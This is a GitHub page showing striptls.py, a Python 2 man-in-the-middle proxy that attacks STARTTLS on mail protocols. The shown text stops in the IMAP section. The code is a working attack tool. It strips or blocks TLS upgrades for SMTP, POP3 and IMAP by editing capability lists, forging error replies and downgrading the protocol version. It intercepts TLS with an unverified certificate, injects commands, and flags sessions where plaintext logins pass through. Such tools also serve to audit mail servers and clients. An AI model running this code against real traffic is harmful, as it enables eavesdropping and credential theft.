forked from tintinweb/pub
-
Notifications
You must be signed in to change notification settings - Fork 0
/
striptls.py
1576 lines (1442 loc) · 77.7 KB
/
striptls.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#! /usr/bin/env python
# -*- coding: UTF-8 -*-
# Author : <github.com/tintinweb>
# see: https://github.com/tintinweb/striptls
# pip install striptls
#
'''
inbound outbound
[inbound_peer]<------------>[listen:proxy]<------------->[outbound_peer/target]
'''
import sys
import os
import logging
import socket
import select
import ssl
import time
import re
logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)-8s - %(message)s')
logger = logging.getLogger(__name__)
class SessionTerminatedException(Exception):pass
class ProtocolViolationException(Exception):pass
class TcpSockBuff(object):
''' Wrapped Tcp Socket with access to last sent/received data '''
def __init__(self, sock, peer=None):
self.socket = None
self.socket_ssl = None
self.recvbuf = ''
self.sndbuf = ''
self.peer = peer
self._init(sock)
def _init(self, sock):
self.socket = sock
def connect(self, target=None):
target = target or self.peer
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
return self.socket.connect(target)
def accept(self):
return self.socket.accept()
def recv(self, buflen=8*1024, *args, **kwargs):
if self.socket_ssl:
chunks = []
chunk = True
data_pending = buflen
while chunk and data_pending:
chunk = self.socket_ssl.read(data_pending)
chunks.append(chunk)
data_pending = self.socket_ssl.pending()
self.recvbuf = ''.join(chunks)
else:
self.recvbuf = self.socket.recv(buflen, *args, **kwargs)
return self.recvbuf
def recv_blocked(self, buflen=8*1024, timeout=None, *args, **kwargs):
force_first_loop_iteration = True
end = time.time()+timeout if timeout else 0
while force_first_loop_iteration or (not timeout or time.time()<end):
# force one recv otherwise we might not even try to read if timeout is too narrow
try:
return self.recv(buflen=buflen, *args, **kwargs)
except ssl.SSLWantReadError:
pass
force_first_loop_iteration = False
def send(self, data, retransmit_delay=0.1):
if self.socket_ssl:
last_exception = None
for _ in xrange(3):
try:
self.socket_ssl.write(data)
last_exception = None
break
except ssl.SSLWantWriteError,swwe:
logger.warning("TCPSockBuff: ssl.sock not yet ready, retransmit (%d) in %f seconds: %s"%(_,retransmit_delay,repr(swwe)))
last_exception = swwe
time.sleep(retransmit_delay)
if last_exception:
raise last_exception
else:
self.socket.send(data)
self.sndbuf = data
def sendall(self, data):
if self.socket_ssl:
self.send(data)
else:
self.socket.sendall(data)
self.sndbuf = data
def ssl_wrap_socket(self, *args, **kwargs):
if len(args)>=1:
args[1] = self.socket
if 'sock' in kwargs:
kwargs['sock'] = self.socket
if not args and not kwargs.get('sock'):
kwargs['sock'] = self.socket
self.socket_ssl = ssl.wrap_socket(*args, **kwargs)
self.socket_ssl.setblocking(0) # nonblocking for select
def ssl_wrap_socket_with_context(self, ctx, *args, **kwargs):
if len(args)>=1:
args[1] = self.socket
if 'sock' in kwargs:
kwargs['sock'] = self.socket
if not args and not kwargs.get('sock'):
kwargs['sock'] = self.socket
self.socket_ssl = ctx.wrap_socket(*args, **kwargs)
self.socket_ssl.setblocking(0) # nonblocking for select
class ProtocolDetect(object):
PROTO_SMTP = 25
PROTO_XMPP = 5222
PROTO_IMAP = 143
PROTO_FTP = 21
PROTO_POP3 = 110
PROTO_NNTP = 119
PROTO_IRC = 6667
PROTO_ACAP = 675
PROTO_SSL = 443
PORTMAP = {25: PROTO_SMTP,
5222:PROTO_XMPP,
110: PROTO_POP3,
143: PROTO_IMAP,
21: PROTO_FTP,
119: PROTO_NNTP,
6667: PROTO_IRC,
675: PROTO_ACAP
}
KEYWORDS = ((['ehlo', 'helo','starttls','rcpt to:','mail from:'], PROTO_SMTP),
(['xmpp'], PROTO_XMPP),
(['. capability'], PROTO_IMAP),
(['auth tls'], PROTO_FTP)
)
def __init__(self, target=None):
self.protocol_id = None
self.history = []
if target:
self.protocol_id = self.PORTMAP.get(target[1])
if self.protocol_id:
logger.debug("%s - protocol detected (target port)"%repr(self))
def __str__(self):
return repr(self.proto_id_to_name(self.protocol_id))
def __repr__(self):
return "<ProtocolDetect %s protocol_id=%s len_history=%d>"%(hex(id(self)), self.proto_id_to_name(self.protocol_id), len(self.history))
def proto_id_to_name(self, id):
if not id:
return id
for p in (a for a in dir(self) if a.startswith("PROTO_")):
if getattr(self, p)==id:
return p
def detect_peek_tls(self, sock):
if sock.socket_ssl:
raise Exception("SSL Detection for ssl socket ..whut!")
TLS_VERSIONS = {
# SSL
'\x00\x02':"SSL_2_0",
'\x03\x00':"SSL_3_0",
# TLS
'\x03\x01':"TLS_1_0",
'\x03\x02':"TLS_1_1",
'\x03\x03':"TLS_1_2",
'\x03\x04':"TLS_1_3",
}
TLS_CONTENT_TYPE_HANDSHAKE = '\x16'
SSLv2_PREAMBLE = 0x80
SSLv2_CONTENT_TYPE_CLIENT_HELLO ='\x01'
peek_bytes = sock.recv(5, socket.MSG_PEEK)
if not len(peek_bytes)==5:
return
# detect sslv2, sslv3, tls: one symbol is one byte; T .. type
# L .. length
# V .. version
# 01234
# detect sslv2 LLTVV T=0x01 ... MessageType.client_hello; L high bit set.
# sslv3 TVVLL
# tls TVVLL T=0x16 ... ContentType.Handshake
v = None
if ord(peek_bytes[0]) & SSLv2_PREAMBLE \
and peek_bytes[2]==SSLv2_CONTENT_TYPE_CLIENT_HELLO \
and peek_bytes[3:3+2] in TLS_VERSIONS.keys():
v = TLS_VERSIONS.get(peek_bytes[3:3+2])
logger.info("ProtocolDetect: SSL23/TLS version: %s"%v)
elif peek_bytes[0] == TLS_CONTENT_TYPE_HANDSHAKE \
and peek_bytes[1:1+2] in TLS_VERSIONS.keys():
v = TLS_VERSIONS.get(peek_bytes[1:1+2])
logger.info("ProtocolDetect: TLS version: %s"%v)
return v
def detect(self, data):
if self.protocol_id:
return self.protocol_id
self.history.append(data)
for keywordlist,proto in self.KEYWORDS:
if any(k in data.lower() for k in keywordlist):
self.protocol_id = proto
logger.debug("%s - protocol detected (protocol messages)"%repr(self))
return
class Session(object):
''' Proxy session from client <-> proxy <-> server
@param inbound: inbound socket
@param outbound: outbound socket
@param target: target tuple ('ip',port)
@param buffer_size: socket buff size'''
def __init__(self, proxy, inbound=None, outbound=None, target=None, buffer_size=4096):
self.proxy = proxy
self.bind = proxy.getsockname()
self.inbound = TcpSockBuff(inbound)
self.outbound = TcpSockBuff(outbound, peer=target)
self.buffer_size = buffer_size
self.protocol = ProtocolDetect(target=target)
self.datastore = {}
def __repr__(self):
return "<Session %s [client: %s] --> [prxy: %s] --> [target: %s]>"%(hex(id(self)),
self.inbound.peer,
self.bind,
self.outbound.peer)
def __str__(self):
return "<Session %s>"%hex(id(self))
def connect(self, target):
self.outbound.peer = target
logger.info("%s connecting to target %s"%(self, repr(target)))
return self.outbound.connect(target)
def accept(self):
sock, addr = self.proxy.accept()
self.inbound = TcpSockBuff(sock)
self.inbound.peer = addr
logger.info("%s client %s has connected"%(self,repr(self.inbound.peer)))
return sock,addr
def get_peer_sockets(self):
return [self.inbound.socket, self.outbound.socket]
def notify_read(self, sock):
if sock == self.proxy:
self.accept()
self.connect(self.outbound.peer)
elif sock == self.inbound.socket:
# new client -> prxy - data
self.on_recv_peek(self.inbound, self)
self.on_recv(self.inbound, self.outbound, self)
elif sock == self.outbound.socket:
# new sprxy <- target - data
self.on_recv(self.outbound, self.inbound, self)
return
def close(self):
try:
self.outbound.socket.shutdown(2)
self.outbound.socket.close()
self.inbound.socket.shutdown(2)
self.inbound.socket.close()
except socket.error, se:
logger.warning("session.close(): Exception: %s"%repr(se))
raise SessionTerminatedException()
def on_recv(self, s_in, s_out, session):
data = s_in.recv(session.buffer_size)
self.protocol.detect(data)
if not len(data):
return session.close()
if s_in == session.inbound:
data = self.mangle_client_data(session, data)
elif s_in == session.outbound:
data = self.mangle_server_data(session, data)
if data:
s_out.sendall(data)
return data
def on_recv_peek(self, s_in, session): pass
def mangle_client_data(self, session, data, rewrite): return data
def mangle_server_data(self, session, data, rewrite): return data
class ProxyServer(object):
'''Proxy Class'''
def __init__(self, listen, target, buffer_size=4096, delay=0.0001):
self.input_list = set([])
self.sessions = {} # sock:Session()
self.callbacks = {} # name: [f,..]
#
self.listen = listen
self.target = target
#
self.buffer_size = buffer_size
self.delay = delay
self.bind = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.bind.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.bind.bind(listen)
self.bind.listen(200)
def __str__(self):
return "<Proxy %s listen=%s target=%s>"%(hex(id(self)),self.listen, self.target)
def get_session_by_client_sock(self, sock):
return self.sessions.get(sock)
def set_callback(self, name, f):
self.callbacks[name] = f
def main_loop(self):
self.input_list.add(self.bind)
while True:
time.sleep(self.delay)
inputready, _, _ = select.select(self.input_list, [], [])
for sock in inputready:
if not sock in self.input_list:
# Check if inputready sock is still in the list of socks to read from
# as SessionTerminateException might remove multiple sockets from that list
# this might otherwise lead to bad FD access exceptions
continue
session = None
try:
if sock == self.bind:
# on_accept
session = Session(sock, target=self.target)
for k,v in self.callbacks.iteritems():
setattr(session, k, v)
session.notify_read(sock)
for s in session.get_peer_sockets():
self.sessions[s]=session
self.input_list.update(session.get_peer_sockets())
else:
# on_recv
try:
session = self.get_session_by_client_sock(sock)
session.notify_read(sock)
except ssl.SSLError, se:
if se.errno != ssl.SSL_ERROR_WANT_READ:
raise
continue
except SessionTerminatedException:
self.input_list.difference_update(session.get_peer_sockets())
logger.warning("%s terminated."%session)
except Exception, e:
logger.error("main: %s"%repr(e))
if isinstance(e,IOError):
for kname,value in ((a,getattr(Vectors,a)) for a in dir(Vectors) if a.startswith("_TLS_")):
if not os.path.isfile(value):
logger.error("%s = %s - file not found"%(kname, repr(value)))
if session:
logger.error("main: removing all sockets associated with session that raised exception: %s"%repr(session))
try:
session.close()
except SessionTerminatedException: pass
self.input_list.difference_update(session.get_peer_sockets())
elif sock and sock!=self.bind:
# exception for non-bind socket - probably fine to close and remove it from our list
logger.error("main: removing socket that probably raised the exception")
sock.close()
self.input_list.remove(sock)
else:
# this is just super-fatal - something happened while processing our bind socket.
raise
class Vectors:
_TLS_CERTFILE = "server.pem"
_TLS_KEYFILE = "server.pem"
class GENERIC:
_PROTO_ID = None
class Intercept:
'''
proto independent msg_peek based tls interception
'''
@staticmethod
def mangle_server_data(session, data, rewrite): return data
@staticmethod
def mangle_client_data(session, data, rewrite): return data
@staticmethod
def on_recv_peek(session, s_in):
if s_in.socket_ssl:
return
ssl_version = session.protocol.detect_peek_tls(s_in)
if ssl_version:
logger.info("SSL Handshake detected - performing ssl/tls conversion")
try:
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_KEYFILE)
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
session.outbound.ssl_wrap_socket_with_context(context, server_side=False)
logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher()))
except Exception, e:
logger.warning("Exception - not ssl intercepting outbound: %s"%repr(e))
@staticmethod
def create_ssl_context(proto=ssl.PROTOCOL_SSLv23,
verify_mode=ssl.CERT_NONE,
protocols=None,
options=None,
ciphers="ALL"):
protocols = protocols or ('PROTOCOL_SSLv3','PROTOCOL_TLSv1',
'PROTOCOL_TLSv1_1','PROTOCOL_TLSv1_2')
options = options or ('OP_CIPHER_SERVER_PREFERENCE','OP_SINGLE_DH_USE',
'OP_SINGLE_ECDH_USE','OP_NO_COMPRESSION')
context = ssl.SSLContext(proto)
context.verify_mode = verify_mode
# reset protocol, options
context.protocol = 0
context.options = 0
for p in protocols:
context.protocol |= getattr(ssl, p, 0)
for o in options:
context.options |= getattr(ssl, o, 0)
context.set_ciphers(ciphers)
return context
class InboundIntercept:
'''
proto independent msg_peek based tls interception
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
# peek again - make sure to check for inbound ssl connections
# before forwarding data to the inbound channel
# just in case server is faster with answer than client with hello
# likely if smtpd and striptls are running on the same segment
# and client is not.
if not session.inbound.socket_ssl:
# only peek if inbound is not in tls mode yet
# kind of a hack but allow additional 0.1 secs for the client
# to send its hello
time.sleep(0.1)
Vectors.GENERIC.InterceptInbound.on_recv_peek(session, session.inbound)
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
return data
@staticmethod
def on_recv_peek(session, s_in):
if s_in.socket_ssl:
return
ssl_version = session.protocol.detect_peek_tls(s_in)
if ssl_version:
logger.info("SSL Handshake detected - performing ssl/tls conversion")
try:
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_KEYFILE)
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
except Exception, e:
logger.warning("Exception - not ssl intercepting inbound: %s"%repr(e))
class SMTP:
_PROTO_ID = 25
class StripFromCapabilities:
''' 1) Force Server response to *NOT* announce STARTTLS support
2) raise exception if client tries to negotiated STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if any(e in session.outbound.sndbuf.lower() for e in ('ehlo','helo')) and "250" in data:
features = [f for f in data.strip().split('\r\n') if not "STARTTLS" in f]
if not features[-1].startswith("250 "):
features[-1] = features[-1].replace("250-","250 ") # end marker
data = '\r\n'.join(features)+'\r\n'
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data))
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class StripWithInvalidResponseCode:
''' 1) Force Server response to contain STARTTLS even though it does not support it (just because we can)
2) Respond to client STARTTLS with invalid response code
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if any(e in session.outbound.sndbuf.lower() for e in ('ehlo','helo')) and "250" in data:
features = list(data.strip().split("\r\n"))
features.insert(-1,"250-STARTTLS") # add STARTTLS from capabilities
#if "STARTTLS" in data:
# features = [f for f in features if not "STARTTLS" in f] # remove STARTTLS from capabilities
data = '\r\n'.join(features)+'\r\n'
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
session.inbound.sendall("200 STRIPTLS\r\n")
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("200 STRIPTLS\r\n")))
data=None
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class StripWithTemporaryError:
''' 1) force server error on client sending STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
session.inbound.sendall("454 TLS not available due to temporary reason\r\n")
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("454 TLS not available due to temporary reason\r\n")))
data=None
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class StripWithError:
''' 1) force server error on client sending STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
session.inbound.sendall("501 Syntax error\r\n")
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("501 Syntax error\r\n")))
data=None
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class UntrustedIntercept:
''' 1) Do not mangle server data
2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.
in case client does not check keys
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
# do inbound STARTTLS
session.inbound.sendall("220 Go ahead\r\n")
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("220 Go ahead\r\n")))
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_KEYFILE)
logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session))
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
# outbound ssl
session.outbound.sendall(data)
logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data)))
resp_data = session.outbound.recv_blocked()
logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data)))
if "220" not in resp_data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data))
logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session))
session.outbound.ssl_wrap_socket()
logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher()))
data=None
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class InboundStarttlsProxy:
''' Inbound is starttls, outbound is plain
1) Do not mangle server data
2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.
in case client does not check keys
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
# keep track of stripped server ehlo/helo
if any(e in session.outbound.sndbuf.lower() for e in ('ehlo','helo')) and "250" in data and not session.datastore.get("server_ehlo_stripped"): #only do this once
# wait for full line
while not "250 " in data:
data+=session.outbound.recv_blocked()
features = [f for f in data.strip().split('\r\n') if not "STARTTLS" in f]
if features and not features[-1].startswith("250 "):
features[-1] = features[-1].replace("250-","250 ") # end marker
# force starttls announcement
session.datastore['server_ehlo_stripped']= '\r\n'.join(features)+'\r\n' # stripped
if len(features)>1:
features.insert(-1,"250-STARTTLS")
else:
features.append("250 STARTTLS")
features[0]=features[0].replace("250 ","250-")
data = '\r\n'.join(features)+'\r\n' # forced starttls
session.datastore['server_ehlo'] = data
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
# do inbound STARTTLS
session.inbound.sendall("220 Go ahead\r\n")
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("220 Go ahead\r\n")))
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_KEYFILE)
logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session))
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
# inbound ssl, fake server ehlo on helo/ehlo
indata = session.inbound.recv_blocked()
if not any(e in indata for e in ('ehlo','helo')):
raise ProtocolViolationException("whoop!? client did not send EHLO/HELO after STARTTLS finished.. proto violation: %s"%repr(indata))
logger.debug("%s [client] => [ ][mangled] %s"%(session,repr(indata)))
session.inbound.sendall(session.datastore["server_ehlo_stripped"])
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr(session.datastore["server_ehlo_stripped"])))
data=None
elif any(e in data for e in ('ehlo','helo')) and session.datastore.get("server_ehlo_stripped"):
# just do not forward the second ehlo/helo
data=None
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class ProtocolDowngradeStripExtendedMode:
''' Return error on EHLO to force peer to non-extended mode
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if data.lower().startswith("ehlo "):
session.inbound.sendall("502 Error: command \"EHLO\" not implemented\r\n")
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("502 Error: command \"EHLO\" not implemented\r\n")))
data=None
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class InjectCommand:
''' 1) Append command to STARTTLS\r\n.
2) untrusted intercept to check if we get an invalid command response from server
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
data += "INJECTED_INVALID_COMMAND\r\n"
#logger.debug("%s [client] => [server][mangled] %s"%(session,repr(data)))
try:
Vectors.SMTP.UntrustedIntercept.mangle_client_data(session, data, rewrite)
except ssl.SSLEOFError, se:
logging.info("%s - Server failed to negotiate SSL with Exception: %s"%(session, repr(se)))
session.close()
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class POP3:
_PROTO_ID = 110
class StripFromCapabilities:
''' 1) Force Server response to *NOT* announce STLS support
2) raise exception if client tries to negotiated STLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if data.lower().startswith('+ok capability'):
features = [f for f in data.strip().split('\r\n') if not "stls" in f.lower()]
data = '\r\n'.join(features)+'\r\n'
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if data.lower().startswith("stls"):
raise ProtocolViolationException("whoop!? client sent STLS even though we did not announce it.. proto violation: %s"%repr(data))
elif any(c in data.lower() for c in ('list','user ','pass ')):
rewrite.set_result(session, True)
return data
class StripWithError:
''' 1) force server error on client sending STLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "stls" == data.strip().lower():
session.inbound.sendall("-ERR unknown command\r\n")
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("-ERR unknown command\r\n")))
data=None
elif any(c in data.lower() for c in ('list','user ','pass ')):
rewrite.set_result(session, True)
return data
class UntrustedIntercept:
''' 1) Do not mangle server data
2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.
in case client does not check keys
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "stls"==data.strip().lower():
# do inbound STARTTLS
session.inbound.sendall("+OK Begin TLS negotiation\r\n")
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("+OK Begin TLS negotiation\r\n")))
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_CERTFILE)
logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session))
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
# outbound ssl
session.outbound.sendall(data)
logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data)))
resp_data = session.outbound.recv_blocked()
logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data)))
if "+OK" not in resp_data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data))
logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session))
session.outbound.ssl_wrap_socket()
logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher()))
data=None
elif any(c in data.lower() for c in ('list','user ','pass ')):
rewrite.set_result(session, True)
return data
class IMAP:
_PROTO_ID = 143
class StripFromCapabilities:
''' 1) Force Server response to *NOT* announce STARTTLS support
2) raise exception if client tries to negotiated STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if "CAPABILITY " in data:
# rfc2595
data = data.replace(" STARTTLS","").replace(" LOGINDISABLED","")
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if " STARTTLS" in data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data))
elif " LOGIN " in data:
rewrite.set_result(session, True)
return data
class StripWithError:
''' 1) force server error on client sending STLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if data.strip().lower().endswith("starttls"):
id = data.split(' ',1)[0].strip()
session.inbound.sendall("%s BAD unknown command\r\n"%id)
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("%s BAD unknown command\r\n"%id)))
data=None
elif " LOGIN " in data:
rewrite.set_result(session, True)
return data
class ProtocolDowngradeToV2:
''' Return IMAP2 instead of IMAP4 in initial server response
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if all(kw.lower() in data.lower() for kw in ("IMAP4","* OK ")):
session.inbound.sendall("OK IMAP2 Server Ready\r\n")
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("OK IMAP2 Server Ready\r\n")))
data=None
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data))
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class UntrustedIntercept:
''' 1) Do not mangle server data
2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.
in case client does not check keys
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if data.strip().lower().endswith("starttls"):
id = data.split(' ',1)[0].strip()
# do inbound STARTTLS
session.inbound.sendall("%s OK Begin TLS negotation now\r\n"%id)
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("%s OK Begin TLS negotation now\r\n"%id)))
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_CERTFILE)
logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session))
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
# outbound ssl
session.outbound.sendall(data)
logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data)))
resp_data = session.outbound.recv_blocked()
logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data)))
if "%s OK"%id not in resp_data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data))
logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session))
session.outbound.ssl_wrap_socket()
logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher()))
data=None
